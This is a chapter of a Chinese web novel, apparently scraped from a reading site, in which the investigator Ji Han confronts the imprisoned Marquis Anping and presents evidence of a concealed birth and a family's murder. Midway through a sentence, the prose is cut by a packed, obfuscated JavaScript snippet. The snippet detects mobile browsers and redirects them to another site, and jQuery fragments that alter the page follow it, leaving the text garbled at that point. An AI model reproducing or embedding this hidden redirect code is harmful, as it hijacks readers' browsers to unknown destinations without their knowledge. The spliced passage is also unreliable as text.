159. 证据

作品:《女推官

    “少了谁?”


    “少了你。”


    安平侯的回答惊悚了一干人等。尤其是褚停云,下意识地攥紧了拳举步来到季寒身侧。


    他才伸手,被她按住。


    那双浑浊的眼眸朝他瞟来,喉头上下移动发出难听的笑声。


    安平侯说:“他很紧张你。”


    季寒微微一笑,“所以如果我死了,他就会娶太傅之女,你的孙女?”


    “自然,”缓缓点头,安平侯纠正道,“况且,我是在救他。”


    “救他?”如果说方才笑意不及眼底,季寒现在是真有些乐了,“你就那么笃定没有我,他一定会娶你的孙女吗?”


    “圣旨不可违。”


    季寒恍然,“也就是说,只要我死了,你自然有法子让官家下旨完成这桩婚事对吗?”


    安平侯笑了,毫不掩饰与蔡妤珠如出一辙的自负。他告诉她,“贱民就是贱民,套我的话,你还嫩了些。”


    季寒挑眉,“是周贵妃吧。”


    轻描淡写似乎早有预料。紧接着,在安平侯的故作镇定,众人茫然之际,又听她笑盈盈道——


    “蔡妤珠是她和蔡兴怀的孩子。”


    “棺材屋、七星阵,是想镇压那些为她枉死的冤魂吧。”


    “季寒!”是傅尚书回过神来忙不迭的阻拦。


    “污蔑贵妃是死罪。”是安平侯再一次试图的抵抗。


    冷不防,褚停云从旁递来一张纸卷,季寒接过狠狠摔在了安平侯的脸上,“你们杀了稳婆一家的时候,可曾想过这个案子会尘封多年再启?可曾想过这世上没有不透风的墙?”


    “为了保住这个秘密,你们究竟害了多少性命?”


    “畜生,还我女儿——”是欧阳禹迟来的醒悟,和砸向蔡谵淳的茶壶。


    红色的液体从头顶缓缓流下,安平侯的笑容也愈发地狰狞……


    一勺盐、一盆温水,除了解开帕子时她皱了皱眉头,未吭一声。


    看着清澈的水渐渐染红,褚停云瞥了眼两块血迹已经干涸的帕子,拿起一旁干净的布巾。


    季寒方要甩干手上的水,被布巾包裹住。褚停云动作轻柔,生怕弄疼她似的。尤其是在擦拭双手掌心,更是小心翼翼。


    “不碍事,周太医给的药很管用,已经不疼了。”


    “疼不疼我清楚。”


    低着头,专注地将金疮药一点一点洒上。比起周太医的三两下解决,褚停云磨磨叽叽地仿佛不舍得多给似的。


    还疼不疼他清楚?季寒莞尔,“傅尚书还等着,快些吧。”


    他“嗯”了声,将纱布层层缠上,打了个自认不丑的结才算完事。就在她转身之际,又取厚实的毛皮大氅给她披上。


    遮盖住白色襕衫上的斑驳血渍。视线落在抿成直线的薄唇,季寒犹豫着,“人已经来了?”


    褚停云点点头,“是李公公。”


    就是那位御书房伺候的,“那么快?”季寒思忖着又不自觉皱眉。


    凉凉的指腹揉开纠结成一团的眉心,褚停云揽过她,“别管来的是谁,我们只需将所查到的如实告知傅尚书。无论何人,都该为自己犯的错赎罪,还有那些枉死的人不能白白送了性命。”


    至于官家会如何处置周贵妃,后宫之事不是他们所能干涉。


    季寒仰头定定地瞧着他,现在说别的不仅矫情,而且也太晚了。所以,她踮起脚尖啄了啄认真的唇,“行。”


    褚停云回过神方才俯身,垂下的门帘子外响起梁逢春的咳嗽声,“傅尚书问,二位可准备好了?”


    “好了。”


    季寒应了他的话,掀开帘子出来,后头跟着神色严肃的褚停云。未等梁逢春开口,先一步走向牢狱的方向。


    “常郡王这是怎么了?”梁逢春不解地问她。


    脚疼呗。将实话咽下,季寒一边想着自己也没用大劲踩,一边回道:“闷的慌,去透透气。”


    牢狱里难道就凉快吗?虽觉着奇怪,但此时梁逢春的心思都在案子上也就没追问,“他同你说了没?李公公来了。”


    季寒颔首。


    “还带来了圣旨,”对上她诧异的眼眸,梁逢春冷笑,“但动不动得了还得看你能不能将案子落实了,不然李公公说他回去也不好交代。”


    就在褚停云端了水盆拿了药离开后不久。取出圣旨时,他差点就怀疑这李公公是不是故意的。


    微微蹙眉,“所以,我还要说服李公公?”季寒疑惑道,那么儿戏的吗?


    幸好,“宦官干政那是要掉脑袋的,你想啥呢?”梁逢春瞪了她一眼,不过,“李公公将圣旨交给了傅尚书,言明若是他打开,就与你今日之所言所行绑在了一块,祸福与共。”


    短暂的停顿,季寒勾起唇角摇了摇头,很快又继续前行。她说:“就算没有这份圣旨,我也会拆了那间屋子。”昂首挺胸,不畏不惧。


    “那常郡王会同意吗?”


    “他啊,早跟我是一条绳上的了。”


    两个蚂蚱,一个在绳子这头笑盈盈地望去,一个在绳子的那头停下了匆忙折返的脚步。在见到她脸上的神情后,松了一口气,然后又装作气定神闲地双手往身后背去。


    直至她来到他身旁,再次一同朝着牢狱深处走去。


    那是一间单独辟出的牢房,一张桌子,两张凳子。据褚停云所说是为特殊犯人设的,不过他在刑部的日子没见过这个牢房关押过谁。


    李公公坐在与这间牢房一墙之隔的走道,一杯茶,一柄拂尘,还真似就是来送份不知能不能动的旨意,顺便喝盏茶歇歇腿。


    牢房内处了被镣铐锁住双手双脚的安平侯,就傅尚书一人。


    “季寒进来,其余人全部退至门外。”


    空着的那张凳子是留给她的。


    安平侯是何等荣幸,为了他似乎还特地洒扫了一番,桌面、凳子干净得很,还由傅尚书亲自记录供词。


    傅淮看着她,“太傅与其夫人,还有那个蔡妤珠暂且都等待在刑部大堂,没有我的命令无人敢放他们出去。”


    季寒点点头,安静地等待着下文。


    “今日,你提出的证据若有存疑之处,我会当场一一反驳,你可想好了?”


    出乎意料地只字不提圣旨。但言外之意,若是她无法将证据落实了,那今日安平侯也将安然无恙地走出这间牢房。


    季寒垂眸敛目,“想好了。”而她,已经没有退路。


    傅淮深深看了她一眼,提笔蘸墨,“那就开始吧。”


    季寒起身径直朝着安平侯走去。


    “第一份证据,是大夏一一九年十月初十,关于西城巷灭门案的卷宗。据卷宗上所记载。死者高氏及其一儿一女皆是死于一刀割喉,家中未有被翻过的迹象,三位死者生前也没有与人结怨结仇,可以暂定排除仇杀。”


    “当时,因为居住其周围的邻居证实高氏早年寡居后曾有过一相好,还时常见他们吵架甚至动手。但出事后并未找到那个男人,故而有可能是情杀,凶手潜逃。”说到此,季寒从衣袖中摸出一卷卷得整整齐齐的纸。


    傅淮挑眉,看着她抽取第一张放在桌上。


    “事情从急,记录做得简陋了些,还请傅尚书见谅。不过这些纸卷上所提供的姓名、消息,傅尚书稍后都可派人再去核实。”


    道歉得极其敷衍,甚至不在乎核实结果会不会变。傅淮点点头,一边打开那张纸卷,一边道:“继续。”


    “根据卷宗记载,高氏的儿子方至弱冠女儿尚未及笄,所以一家的生计来源主要是她。所以我们去问了周边的邻居,原来高氏经常替大户人家洗衣或是做些散工赚取银子。不过已经过去了二十年,都已经不太记得她上哪些人家做过活。有一位邻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947397|185989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    居说,高氏偶尔也会跟着年老的稳婆去帮忙接生孩子,听说还是她给介绍的。”


    季寒望向傅淮,“以上与卷宗上记载基本一样,除了一点,卷宗上记载的她是稳婆,二十年后邻居却说她是帮忙和介绍的。我不知孰对孰错,所以去找了城里那些个有名的稳婆。还真问着了,就是纸上这人。”


    除了一个名字,还有一行字,“失踪?”指尖压在纸上,傅淮不解地看着最后两个字。


    “据此人回忆,高氏失踪前曾告诉她,自己接了个大生意,主家要求她住进府中直到那位夫人生产后再离开,工钱按日算,一天一两。可是自那之后,她便再也没有见过高氏,听闻她一家被人杀害,因为害怕躲去了外地。”


    “为何现在又回了汴京,还愿意说出来?”这是傅淮的第一个问题。


    季寒扯了扯嘴角,“因为她时日无多了。”


    人之将死其言也善。何况那个稳婆说,高氏一家的死就像一根扎在她心里的刺,二十年来,每当自己遇到坎坷,总觉得是高氏的亡魂在作祟,责怪她一走了之。


    如果说起初是怨,期间是恨,当她得知自己身染恶疾时日无多的一刻,她忽然想再见高氏一面。哪怕问一句:为什么缠着我?


    “回京来,是想给高氏去上柱香。还有,高氏曾告诉过她那户人家,姓蔡。”


    傅淮沉默地提笔。


    “汴京城中姓蔡的大户人家,一天能给一两银子的工钱,傅尚书可以去一一排除,看看还剩下哪家。”


    “继续。”


    “第二个证据,是太医院的医诊记录,”季寒看了眼安平侯,“周贵妃入宫是在大夏一二零年的立春。”


    “慢着,关于入宫,你可知第一道关是……”傅淮欲言又止。


    “身检么?”季寒替他说了,“我知道,但谁又能确认私下没有买通关系者?”


    “你没有证据。”傅淮提醒她。


    未料,“我说了,太医院的医诊记录就是证据,”再次强调一份没那么容易拿到手的证据,季寒的面上却未见分毫担忧,“周贵妃入宫的时间距离生产不过三个月,她的身子不会很好,急需要药物来尽快恢复,同样那半年她会想法设法躲避临幸……”


    “咳咳,”傅淮突然咳嗽两声,“这件事我会让人去核实,暂时无法做为证据,说第三个吧。”


    季寒眨了眨眼,“傅尚书,我还没说完。”


    “我说了我会核实,说第三个。”


    知道这丫头没轻没重的,还真什么怀疑都敢往外说?那两个字从她口中冒出的时候,傅淮只觉自己背脊发凉,头皮发麻。


    她是真不介意隔墙还有两只耳朵。


    季寒奇怪地看了看他,又望向牢房外的褚停云和梁逢春。那二人神色倒是挺正常的。


    屈指叩了叩桌面,傅淮问她,“有第三个证据吗?”


    她好像有点明白了。垂眸思忖着,再抬眼时,“傅尚书,第二个证据要不要核实随您,”对上他的瞪眼,季寒继续道,“第三个证据,就是蔡妤珠。”


    傅淮一愣,只听得她又道:“您只需要给我一张周贵妃当年入宫时的画像,可否?”


    “这……”傅淮迟疑了下,“一定要吗?”


    她抿了抿唇,“或者我给您画一幅周贵妃当年的画像,您送进宫去让官家辨认?”


    “你见过周贵妃吗?”


    “从未见过,”季寒神色淡然却坚定,“而且,不需要见我亦能画出她的样貌,您可信?”


    他不信,话出口,“你可以试试。”


    她微微颔首,“在此之前,我还要见一个人。”


    “谁?”


    “谢艾,谢先生。”


    “找他作甚?”


    “蔡兴怀与其夫人皆已过世,如果这城里还有谁能仅凭模糊印象画出画像的,那只有谢先生。”